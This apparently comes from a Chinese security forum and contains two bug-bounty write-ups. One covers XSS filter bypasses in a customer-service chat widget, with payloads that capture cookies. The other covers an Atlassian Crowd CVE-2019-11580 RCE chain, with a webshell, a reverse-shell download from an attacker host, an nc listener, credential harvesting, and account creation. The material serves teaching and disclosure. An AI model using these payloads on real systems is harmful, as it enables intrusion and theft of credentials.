棒打某客服系统的反射xss,去获取客服账号权限

lzy_smile 发表了文章 • 0 个评论 • 2143 次浏览 • 2020-05-05 22:13 • 来自相关话题

在三月份的某次测试中,测试到深夜,无果,我一般习惯扒拉扒拉自己的xss平台,(因为它有时候没有提醒),我就看到了一个没有见过的域名被打过来.





我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.





扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)





众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,






 
标签没有正常解析,像这样.





唉,关机,不测了,又是零漏洞的一天.
 
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)





 
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容





既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析





但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)










 
 

4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee>

121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>

你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//
 
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
 
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....





高危一枚!
 
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下 查看全部
在三月份的某次测试中,测试到深夜,无果,我一般习惯扒拉扒拉自己的xss平台,(因为它有时候没有提醒),我就看到了一个没有见过的域名被打过来.

1.png

我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.

2.png

扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)

3.png

众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,


4.png

 
标签没有正常解析,像这样.

5.png

唉,关机,不测了,又是零漏洞的一天.
 
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)

6.png

 
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容

7.png

既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析

8.png

但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)

9.png


10.png

 
 

4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee> 

121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>

你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//

 
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
 
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....

11.png

高危一枚!
 
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下

针对某国际信息通信公司从前期探测到内网提权的一次成功漏洞测试(转)

fireant 发表了文章 • 0 个评论 • 476 次浏览 • 2020-04-25 14:42 • 来自相关话题

本文记录的是作者针对某国际大型信通公司进行的一次漏洞测试,测试过程中,作者通过敏感信息泄露、错误配置、RCE等多种线索组合,最终成功实现了内网应用系统提权,可获取到目标公司内网系统的相关资料和应用数据,漏洞提交后收获了$9000的奖励。作为招式的分享学习,我们一起来看看。

本文作者为印度尼西亚安全专家YoKo Kho,漏洞众测平台Bugcrowd MVP,具备12多年行业的资深信息安全Web漏洞挖掘和渗透测试经验, 拥有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多项技能认证。《Bug Hunting 101》作者。

从Github发起探测侦察
前期,我已经收集了目标公司将近数千的子域名,但有了这些东西,我却有点无从下手,于是乎我只有从原始的目标公司个人信息收集入手。我尝试从Github上去发现一些目标公司开发人员留下的蛛丝马迹,这不这个视频-Github Recon and Sensitive Data Exposure(从Github平台探测发现敏感数据)给了我一些启发。

其中主要讲述的是如何从Github被上传代码库中发现凭据类敏感信息,然后去验证受影响公司的相关服务,测试是否有效,但是,从中我也得到另外的信息收集思路。我接下来做的是:

1、收集目标公司泄露在Github上的密码凭据(不管是否有效),然后尝试去发现密码规律,这样做的原因是从中或许能发现管理员在用户注册分配密码时预先会给定的一些默认密码,这种思路在后续我们会用到。非常不错,我幸运地在Github平台收集到了与目标公司相关的近50个密码凭据信息:








2、收集目标公司相关的IP地址。这样做主要有几种考虑:一是我们可以从一些公开的Github漏洞报告中去发现目标公司相关的IP地址,因为白帽们提交的漏洞报告多少总会包括一些细节分析,才会被众测平台接收,虽然有些包含目标系统内部资产信息的漏洞有时候也会存在误报可能,但是我们可以从这些公开披露的漏洞中去寻找一些IP线索,总结规律,尝试从中发现一些开发代码库或系统信息。这不,我从bugcrowd平台就发现了自己提交的与目标公司Github相关的5个P1严重级漏洞:








二是这样方便后续我们做内网探测时,可以更快地连接到内部网络相关的系统资产;三是通过目标公司泄露在Github上的信息,可以间接判断出目标公司的开发习惯和开发文化,比如我可以通过上述信息在两三个小时就能弄清其大概的开发框架和内网应用。最后,这样做也能从代码审计层面去发现目标公司在用服务的潜在问题。执行了以上几个前期步骤后,就可以针对目标公司收集到很多的线索信息。

利用Github进行密码探测
之前那个视频Github Recon and Sensitive Data Exposure中,涉及到了密码安全问题,主要是:一些公司内部开发人员在使用类似Github的协同代码平台时犯下的错误,比如,会把包括相关密码信息的代码直接上传到Github上,这要么是太大意,要么是完全不知道Github有“隐私”功能,那么这种错误就有可能被恶意攻击者发现并利用。对于想要进行内网测试的攻击者来说,这种开发错误还是非常有用的。

接下来,我们需要做的就是登录我们自己的Github账号,用以下搜索请求进行搜索:password “.target.com”

target.com “password_value_here”

target.com是目标公司的网站域名,当然“password”字段也可替换成telnet、ftp、ssh、mysql、jdbc、oracle等特定关键字。虽然我不太了解Github的查询机制,但利用这两个搜索语法我发现了很多有用的东西。

如果你通过上述语法发现某些项目代码存在密码泄露,那么,可以继续深挖,比如可以针对特定代码库和特定开发者用户进行搜索查询:












或者再找找该开发者的其它代码库。如果这些搜索方式都没啥发现,那么我们可以去找找哪些与当前项目开发者或拥有者存在开发协作关系或互动,然后再针对这个用户再继续用上述语法搜索一遍。以下为我总结的Github信息收集(Recon)流程图:








活用Google Dork搜索语法收集信息
接下来,我尝试用Google Dork搜索,这里我用到的语法关键字是目标公司的一个内部非公开子域名和相关密码模式,该内部子域名是我在第一阶段Github平台中发现的,当时通过它我又关联到了好几个子域名。由于这些子域名无法通过外网访问到,我猜想这些子域名是目标公司用于开发之用的。

虽然这些子域名是内部域名,但我还是想尝试看看Google大法的神奇,于是就用以下Google Dork语法进行了搜索:site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'
竟然真的有所发现!从中我发现了目标公司内部域名和服务端相关的大量密码凭据(如FTP/SSH)和内部IP地址等信息,尽管它们需要从内网才能访问或利用,但也算有所发现。








通过调整搜索关键字,如已知的IP地址、产品应用(如Oracle、MySQL、MSSQL等) 、服务名称 (FTP, SSH, DB等)和其它登录键值字段(如password、pwd、pass、username、userid等),或与登录相关的dashboard、cms等内容。







另外,通过Google大法,我还在某些众测平台披露的漏洞报告中发现了目标公司相关的4个账号,在披露漏洞中这4个账号都可以访问到顾客数据,而且这些账号都使用了我在Github中发现的密码模式。








另外,我还发现了不在测试范围内的另一超级管理员账号(super admin),该账号信息涉及目标公司客户的多项交易数据,可惜它所属于的系统并不在于我渗透测试范围内,为了保密只放出具体漏洞报告示例,账号信息就不截图了。

通过旧版本Atlassian Crowd应用发现未授权RCE漏洞
手上有了一堆内网信息和其密码配置模式,但还缺少一个有效的内网访问渠道。为此,我又想从其子域名中发现更多线索,这次我用到了域名和主机可视化发现工具aquatone。之后我发现了目标公司在用的一个老版本服务端,从其显示线索中来看,只有一些带有类似 1st words、2nd words、3rd words和crowd关键字的可点击链接,其中的“crowd”引起了我的注意,于是我点击了“crowd”的关键字链接,然后它跳转到了一个Atlassian Crowd应用的子域名网站,从中注意到是2017年的版本。








面对该Atlassian Crowd应用,我想有三种可利用方式:可测试一些用过的账户密码;

可测试发现未修复的补丁;

可测试发现配置型漏洞。

当然,首先可用Google来搜索其漏洞利用方式:








经过一番查找,我发现了该版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看该漏洞是否存在公开的利用代码(exploit),然后我在Github中发现了这个远程代码执行(RCE)的exploit:








接下来的就是调试当前Atlassian Crowd应用是否存在该漏洞了。可以在其/admin/路径下的上传操作端uploadplugin.action点击查看,如果当前Atlassian Crowd应用回显了一个错误消息“HTTP Status 400 – Requires POST” ,那么这种情况说明它是存在该RCE漏洞的,也就是说其uploadplugin插件可以被未授权利用。







RCE代码执行
现在,我们从https://github.com/jas502n/CVE-2019-11580下载漏洞利用代码CVE-2019-11580.py,以当前Atlassian Crowd应用为目标,它确实存在CVE-2019-11580漏洞,并反弹回了一个webshell,如下:








接着,就可以通过浏览器浏览http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,访问到这个webshell了,当然其中的command_here可以替换成其它系统命令。如下:








所以,总结来看,该漏洞利用有三个好处:1、无需任何用户账户密码;

2、RCE是以root身份执行的;

3、该Atlassian Crowd应用无任何安全防护。





但这还不够,我们需要一个能与目标系统执行交互的Webshell!

这里,我的想法是通过我的Attacker主机,实现对目标应用系统的操控交互。通常我用的是PentestMonkey上提供的反弹Shell,但可惜的是,其中的交互命令在与我的Attacker主机连接执行时没有任何回连显示,很可能是目标Web应用过滤了如> & 以及‘ “这些特殊字符。

为此,我只有在我的Attacker主机放置了一个回连python脚本reverse.py,然后通过之前的RCE命令迫使目标Web应用来对它执行下载,然后再通过我的Attacker主机连接它,实现控制。具体的python回连脚本reverse.py如下:








目标Web应用从我的Attacker主机中下载python回连脚本reverse.py:








就这样,我们就向目标Web应用系统中植入了一个反弹脚本,之后,需要对该脚本文件进行chmod权限修改以便我们能访问执行,如可以把它修改为700:












目标Web应用下载了reverse.py后,我们这边的Attacker主机需要设置一个监听端口:

$ nc -lvp <our_port>
然后,用之前的RCE shell使目标Web应用执行脚本reverse.py。但是,这还不算真正意义上的交互shell,如果把它设置为伪终端方式就更好了,所以,可以在终端窗口中执行以下python命令实现脚本的伪终端显示:

python -c 'import pty;pty.spawn("/bin/bash")'

到此,我们就获得了目标Web应用系统的一个控制shell:












通过运行reverse.py,我们就能无障碍地去连接目标Web应用系统中的数据库或其它运行服务了:







内部系统探测
这里我们获得的RCE,一个有利因素就是该服务器位于目标公司的内部网络中,当在上述交互webshell是去ping一些目标公司的公开系统时,返回响应中得到的是一些内部IP地址。也就是说,我们在这个全球知名大型信息通信技术公司的内部网络系统中实现了据点潜伏。之前阶段我们收集获得的大量内部网络信息,在这里就可派上用场了。但是,为了不造成严重影响破坏,不能再深入了,就点到为止吧。声明:以上主要展示前期信息收集对后期渗透测试的重要性,最终说明问题即可收手,另外这些测试都是在允许授权之内开展的。

最终,尽管发现的该漏洞不在众测范围之内(out-scope),但确实是一次奇妙的渗透之旅。能以信息收集、目标分析和线索映证测试的方式,从知名信通公司的外部网络中打到内部系统,并实现RCE,已经非常不简单了。就像我们白帽平时开玩笑说的“要在漏洞测试中发现RCE漏洞,简单就是天方夜谭”。之后我及时上报了该漏洞,并收到目标公司的快速响应。












连接内部Crowd应用数据库
上述因为目标公司部署有Atlassian Crowd应用的系统存在漏洞,导致了最终我的RCE。那或许有人会问,能不能尝试登录其它的Atlassian Crowd应用或相关数据库呢?

我们也来看看。经测试发现,为配合Atlassian Crowd的使用,目标公司在该服务器上也安装了Atlassian协同办公组件Confluence,而我对Atlassian Crowd和Atlassian Confluence的协同工作机制根本不懂,但我在netstat命令下观察到了数据库连接,所以我想其中肯定涉及到一些密码信息的存储。经过对Atlassian Confluence的研究分析,我发现其密码信息存储在<confluence_home>/confluence.cfg.xml文件中。








使用locate命令,我在目标系统中发现了confluence.cfg.xml文件,更高兴的是,其中的密码信息完全是明文:








就这样,利用其中的密码信息,我成功登录到了其相关数据库:








登录了上述Crowd数据库之后,我就在想能不能把这个登录密码进行修改,换成我们自己的呢?我觉得应该是可行的,因为Atlassian在官方文档里有密码替换更改的说明,在如下介绍中,我们可以用哈希过的字符串去替换管理员原来的密码。








由于这是一个漏洞测试项目,因为没有密码修改授权,所以我们不能擅自进行这种密码替换更改。但如果在真实的攻击场景下,攻击者完全可以实现这种操作,对系统造成影响。那如果不能修改替换密码,我们可以选择创建一个新账户的方法来测试。经过查找发现,只要知道管理员账号密码,就可以通过REST请求方式来创建Atlassian Crowd的新账户:















上述操作的请求格式如下:curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'

> {

> "email": "your@email_here.tld",

> "name": "your_new_user_here",

> "password": {

> "value": "your_new_user_password_here"

> }

> }

> 'your_new_user_here = 将要创建的账户名

crowd_administrator_username_here = Crowd的管理员名称

crowd_administrator_password_here = Crowd的管理员密码

your@email_here.tld = 将要创建账户的绑定邮箱

your_new_user_password_here =将要创建账户的密码

之后,进行账户激活,我们就可成功创建一个新的Crowd账户:








然后进行登录:








经验总结
1、前期的信息收集(Recon)至关重要,通过其我们可以了解目标应用的API工作机制和开发环境等因素。在此借用大牛@Mongobug和@NahamSec对Recon的原话:

“前期信息收集(Recon)不仅可以发现目标系统的资产环境和过期版本信息,还可以掌握相关的应用架构,并获取到一些很难探测到的功能特性。因此,成功的测试需要在前期信息收集和实际渗透过程中保持一种平衡。”








2、不要丢掉任何你搜集到的数据和信息,说不定在之后的测试中可以发挥作用。该次测试中,我就是综合利用了前期收集的有用线索,最终成功在后续阶段实现了突破验证了RCE漏洞,收获了$9,000的奖励;

3、享受你的每次漏洞测试或渗透测试活动,不要太过于看重赏金(Bounty)。尽量去测试那些合法或官方的项目,多动手多思考多学习,这样才能快速地提高你的测试技能,扩展你的知识面;

4、可以多参与一些官方的漏洞责任披露项目,从中好好练手,储备经验;

5、高手和大牛都不是天生的,他们曾经也是菜鸟。
 
转载自FreeBuf.com 查看全部
本文记录的是作者针对某国际大型信通公司进行的一次漏洞测试,测试过程中,作者通过敏感信息泄露、错误配置、RCE等多种线索组合,最终成功实现了内网应用系统提权,可获取到目标公司内网系统的相关资料和应用数据,漏洞提交后收获了$9000的奖励。作为招式的分享学习,我们一起来看看。

本文作者为印度尼西亚安全专家YoKo Kho,漏洞众测平台Bugcrowd MVP,具备12多年行业的资深信息安全Web漏洞挖掘和渗透测试经验, 拥有OSCP、SISE(iOS Application Security Expert)、道德黑客CEH等多项技能认证。《Bug Hunting 101》作者。

从Github发起探测侦察
前期,我已经收集了目标公司将近数千的子域名,但有了这些东西,我却有点无从下手,于是乎我只有从原始的目标公司个人信息收集入手。我尝试从Github上去发现一些目标公司开发人员留下的蛛丝马迹,这不这个视频-Github Recon and Sensitive Data Exposure(从Github平台探测发现敏感数据)给了我一些启发。

其中主要讲述的是如何从Github被上传代码库中发现凭据类敏感信息,然后去验证受影响公司的相关服务,测试是否有效,但是,从中我也得到另外的信息收集思路。我接下来做的是:

1、收集目标公司泄露在Github上的密码凭据(不管是否有效),然后尝试去发现密码规律,这样做的原因是从中或许能发现管理员在用户注册分配密码时预先会给定的一些默认密码,这种思路在后续我们会用到。非常不错,我幸运地在Github平台收集到了与目标公司相关的近50个密码凭据信息:


1.png



2、收集目标公司相关的IP地址。这样做主要有几种考虑:一是我们可以从一些公开的Github漏洞报告中去发现目标公司相关的IP地址,因为白帽们提交的漏洞报告多少总会包括一些细节分析,才会被众测平台接收,虽然有些包含目标系统内部资产信息的漏洞有时候也会存在误报可能,但是我们可以从这些公开披露的漏洞中去寻找一些IP线索,总结规律,尝试从中发现一些开发代码库或系统信息。这不,我从bugcrowd平台就发现了自己提交的与目标公司Github相关的5个P1严重级漏洞:


2.png



二是这样方便后续我们做内网探测时,可以更快地连接到内部网络相关的系统资产;三是通过目标公司泄露在Github上的信息,可以间接判断出目标公司的开发习惯和开发文化,比如我可以通过上述信息在两三个小时就能弄清其大概的开发框架和内网应用。最后,这样做也能从代码审计层面去发现目标公司在用服务的潜在问题。执行了以上几个前期步骤后,就可以针对目标公司收集到很多的线索信息。

利用Github进行密码探测
之前那个视频Github Recon and Sensitive Data Exposure中,涉及到了密码安全问题,主要是:一些公司内部开发人员在使用类似Github的协同代码平台时犯下的错误,比如,会把包括相关密码信息的代码直接上传到Github上,这要么是太大意,要么是完全不知道Github有“隐私”功能,那么这种错误就有可能被恶意攻击者发现并利用。对于想要进行内网测试的攻击者来说,这种开发错误还是非常有用的。

接下来,我们需要做的就是登录我们自己的Github账号,用以下搜索请求进行搜索:
password “.target.com”

target.com “password_value_here”


target.com是目标公司的网站域名,当然“password”字段也可替换成telnet、ftp、ssh、mysql、jdbc、oracle等特定关键字。虽然我不太了解Github的查询机制,但利用这两个搜索语法我发现了很多有用的东西。

如果你通过上述语法发现某些项目代码存在密码泄露,那么,可以继续深挖,比如可以针对特定代码库和特定开发者用户进行搜索查询:


x.png

3.png



或者再找找该开发者的其它代码库。如果这些搜索方式都没啥发现,那么我们可以去找找哪些与当前项目开发者或拥有者存在开发协作关系或互动,然后再针对这个用户再继续用上述语法搜索一遍。以下为我总结的Github信息收集(Recon)流程图:


4.png



活用Google Dork搜索语法收集信息
接下来,我尝试用Google Dork搜索,这里我用到的语法关键字是目标公司的一个内部非公开子域名和相关密码模式,该内部子域名是我在第一阶段Github平台中发现的,当时通过它我又关联到了好几个子域名。由于这些子域名无法通过外网访问到,我猜想这些子域名是目标公司用于开发之用的。

虽然这些子域名是内部域名,但我还是想尝试看看Google大法的神奇,于是就用以下Google Dork语法进行了搜索:
site:*.subx.target.tld AND intext:'one_of_password_pattern_value_here'

竟然真的有所发现!从中我发现了目标公司内部域名和服务端相关的大量密码凭据(如FTP/SSH)和内部IP地址等信息,尽管它们需要从内网才能访问或利用,但也算有所发现。


5.png



通过调整搜索关键字,如已知的IP地址、产品应用(如Oracle、MySQL、MSSQL等) 、服务名称 (FTP, SSH, DB等)和其它登录键值字段(如password、pwd、pass、username、userid等),或与登录相关的dashboard、cms等内容。


6.png


另外,通过Google大法,我还在某些众测平台披露的漏洞报告中发现了目标公司相关的4个账号,在披露漏洞中这4个账号都可以访问到顾客数据,而且这些账号都使用了我在Github中发现的密码模式。


7.png



另外,我还发现了不在测试范围内的另一超级管理员账号(super admin),该账号信息涉及目标公司客户的多项交易数据,可惜它所属于的系统并不在于我渗透测试范围内,为了保密只放出具体漏洞报告示例,账号信息就不截图了。

通过旧版本Atlassian Crowd应用发现未授权RCE漏洞
手上有了一堆内网信息和其密码配置模式,但还缺少一个有效的内网访问渠道。为此,我又想从其子域名中发现更多线索,这次我用到了域名和主机可视化发现工具aquatone。之后我发现了目标公司在用的一个老版本服务端,从其显示线索中来看,只有一些带有类似 1st words、2nd words、3rd words和crowd关键字的可点击链接,其中的“crowd”引起了我的注意,于是我点击了“crowd”的关键字链接,然后它跳转到了一个Atlassian Crowd应用的子域名网站,从中注意到是2017年的版本。


8.png



面对该Atlassian Crowd应用,我想有三种可利用方式:
可测试一些用过的账户密码;

可测试发现未修复的补丁;

可测试发现配置型漏洞。


当然,首先可用Google来搜索其漏洞利用方式:


9.png



经过一番查找,我发现了该版本的Atlassian Crowd存在CVE-2019-11580漏洞,之后就是看看该漏洞是否存在公开的利用代码(exploit),然后我在Github中发现了这个远程代码执行(RCE)的exploit:


10.png



接下来的就是调试当前Atlassian Crowd应用是否存在该漏洞了。可以在其/admin/路径下的上传操作端uploadplugin.action点击查看,如果当前Atlassian Crowd应用回显了一个错误消息“HTTP Status 400 – Requires POST” ,那么这种情况说明它是存在该RCE漏洞的,也就是说其uploadplugin插件可以被未授权利用。


11.png


RCE代码执行
现在,我们从https://github.com/jas502n/CVE-2019-11580下载漏洞利用代码CVE-2019-11580.py,以当前Atlassian Crowd应用为目标,它确实存在CVE-2019-11580漏洞,并反弹回了一个webshell,如下:


12.png



接着,就可以通过浏览器浏览http://xx.xx.xx.xx/crowd/plugins/servlet/exp?cmd=command_here,访问到这个webshell了,当然其中的command_here可以替换成其它系统命令。如下:


13.png



所以,总结来看,该漏洞利用有三个好处:
1、无需任何用户账户密码;

2、RCE是以root身份执行的;

3、该Atlassian Crowd应用无任何安全防护。





但这还不够,我们需要一个能与目标系统执行交互的Webshell!

这里,我的想法是通过我的Attacker主机,实现对目标应用系统的操控交互。通常我用的是PentestMonkey上提供的反弹Shell,但可惜的是,其中的交互命令在与我的Attacker主机连接执行时没有任何回连显示,很可能是目标Web应用过滤了如> & 以及‘ “这些特殊字符。

为此,我只有在我的Attacker主机放置了一个回连python脚本reverse.py,然后通过之前的RCE命令迫使目标Web应用来对它执行下载,然后再通过我的Attacker主机连接它,实现控制。具体的python回连脚本reverse.py如下:


14.png



目标Web应用从我的Attacker主机中下载python回连脚本reverse.py:


15.png



就这样,我们就向目标Web应用系统中植入了一个反弹脚本,之后,需要对该脚本文件进行chmod权限修改以便我们能访问执行,如可以把它修改为700:


16.png

17.png



目标Web应用下载了reverse.py后,我们这边的Attacker主机需要设置一个监听端口:

$ nc -lvp <our_port>
然后,用之前的RCE shell使目标Web应用执行脚本reverse.py。但是,这还不算真正意义上的交互shell,如果把它设置为伪终端方式就更好了,所以,可以在终端窗口中执行以下python命令实现脚本的伪终端显示:

python -c 'import pty;pty.spawn("/bin/bash")'

到此,我们就获得了目标Web应用系统的一个控制shell:


18.png

19.png



通过运行reverse.py,我们就能无障碍地去连接目标Web应用系统中的数据库或其它运行服务了:


20.png


内部系统探测
这里我们获得的RCE,一个有利因素就是该服务器位于目标公司的内部网络中,当在上述交互webshell是去ping一些目标公司的公开系统时,返回响应中得到的是一些内部IP地址。也就是说,我们在这个全球知名大型信息通信技术公司的内部网络系统中实现了据点潜伏。之前阶段我们收集获得的大量内部网络信息,在这里就可派上用场了。但是,为了不造成严重影响破坏,不能再深入了,就点到为止吧。
声明:以上主要展示前期信息收集对后期渗透测试的重要性,最终说明问题即可收手,另外这些测试都是在允许授权之内开展的。


最终,尽管发现的该漏洞不在众测范围之内(out-scope),但确实是一次奇妙的渗透之旅。能以信息收集、目标分析和线索映证测试的方式,从知名信通公司的外部网络中打到内部系统,并实现RCE,已经非常不简单了。就像我们白帽平时开玩笑说的“要在漏洞测试中发现RCE漏洞,简单就是天方夜谭”。之后我及时上报了该漏洞,并收到目标公司的快速响应。


21.png

22.png



连接内部Crowd应用数据库
上述因为目标公司部署有Atlassian Crowd应用的系统存在漏洞,导致了最终我的RCE。那或许有人会问,能不能尝试登录其它的Atlassian Crowd应用或相关数据库呢?

我们也来看看。经测试发现,为配合Atlassian Crowd的使用,目标公司在该服务器上也安装了Atlassian协同办公组件Confluence,而我对Atlassian Crowd和Atlassian Confluence的协同工作机制根本不懂,但我在netstat命令下观察到了数据库连接,所以我想其中肯定涉及到一些密码信息的存储。经过对Atlassian Confluence的研究分析,我发现其密码信息存储在<confluence_home>/confluence.cfg.xml文件中。


23.png



使用locate命令,我在目标系统中发现了confluence.cfg.xml文件,更高兴的是,其中的密码信息完全是明文:


24.png



就这样,利用其中的密码信息,我成功登录到了其相关数据库:


25.png



登录了上述Crowd数据库之后,我就在想能不能把这个登录密码进行修改,换成我们自己的呢?我觉得应该是可行的,因为Atlassian在官方文档里有密码替换更改的说明,在如下介绍中,我们可以用哈希过的字符串去替换管理员原来的密码。


26.png



由于这是一个漏洞测试项目,因为没有密码修改授权,所以我们不能擅自进行这种密码替换更改。但如果在真实的攻击场景下,攻击者完全可以实现这种操作,对系统造成影响。那如果不能修改替换密码,我们可以选择创建一个新账户的方法来测试。经过查找发现,只要知道管理员账号密码,就可以通过REST请求方式来创建Atlassian Crowd的新账户:


27.png

28.png

29.png


上述操作的请求格式如下:
curl -i -X POSThttp://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_here-H 'Content-type: application/json' -H 'Accept: application/json' -u crowd_administrator_username_here:crowd_administrator_password_here -d'

> {

> "email": "your@email_here.tld",

> "name": "your_new_user_here",

> "password": {

> "value": "your_new_user_password_here"

> }

> }

> '
your_new_user_here = 将要创建的账户名

crowd_administrator_username_here = Crowd的管理员名称

crowd_administrator_password_here = Crowd的管理员密码

your@email_here.tld = 将要创建账户的绑定邮箱

your_new_user_password_here =将要创建账户的密码


之后,进行账户激活,我们就可成功创建一个新的Crowd账户:


30.png



然后进行登录:


31.png



经验总结
1、前期的信息收集(Recon)至关重要,通过其我们可以了解目标应用的API工作机制和开发环境等因素。在此借用大牛@Mongobug和@NahamSec对Recon的原话:

“前期信息收集(Recon)不仅可以发现目标系统的资产环境和过期版本信息,还可以掌握相关的应用架构,并获取到一些很难探测到的功能特性。因此,成功的测试需要在前期信息收集和实际渗透过程中保持一种平衡。”


32.png



2、不要丢掉任何你搜集到的数据和信息,说不定在之后的测试中可以发挥作用。该次测试中,我就是综合利用了前期收集的有用线索,最终成功在后续阶段实现了突破验证了RCE漏洞,收获了$9,000的奖励;

3、享受你的每次漏洞测试或渗透测试活动,不要太过于看重赏金(Bounty)。尽量去测试那些合法或官方的项目,多动手多思考多学习,这样才能快速地提高你的测试技能,扩展你的知识面;

4、可以多参与一些官方的漏洞责任披露项目,从中好好练手,储备经验;

5、高手和大牛都不是天生的,他们曾经也是菜鸟。
 
转载自FreeBuf.com

SQL注入绕waf

muyu 发表了文章 • 0 个评论 • 419 次浏览 • 2020-04-20 15:39 • 来自相关话题

0x00
